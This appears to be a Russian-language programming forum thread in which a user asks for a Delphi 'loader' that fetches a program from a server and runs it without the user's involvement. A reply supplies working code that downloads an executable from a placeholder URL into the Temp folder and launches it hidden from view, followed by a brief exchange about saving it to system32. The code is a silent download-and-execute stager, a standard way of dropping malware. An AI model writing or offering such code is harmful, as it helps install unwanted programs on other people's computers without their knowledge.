[Delphi]Нужна помощь по программе

Всем привет, ребят, подскажите пожалуйста цикл скачивания с определенного сервера и дальнейшего запуска программы без участия пользователя(что-то вроде лоадера) на Dephi. Заранее спасибо.

 

Код:

uses
  Windows, URLMon, ShellApi;

var
  link, filen:string;

function Temp: string; //функция определения Temp
var
  Buffer: array[0..1023] of Char;
begin
  SetString(Result, Buffer, GetTempPath(Sizeof(Buffer) - 1, Buffer));
end;

begin
  link:='http://www.site.com/file.exe';
  filen:= Temp+'file_name.exe';
  UrlDownloadToFile(nil,link,filen,0,nil); //скачивание и сохранение файла на диск
  ShellExecute(0, 'open', filen, nil, nil, SW_HIDE); //запуск файла
end.

 

KaeraK, а куда будет сохраняться файл? в Temp?

 

Код:

filen:= Temp+'file_name.exe';

Да, с именем file_name.exe

 

а если написать function WindowPath/system32/: string;
то файл сохраниться в system32?

 

function Temp: string; - здесь может быть название, какое угодно, это МЕТКА функции.

Не выдумывай. Учи язык по книжкам.
Тема закрыта.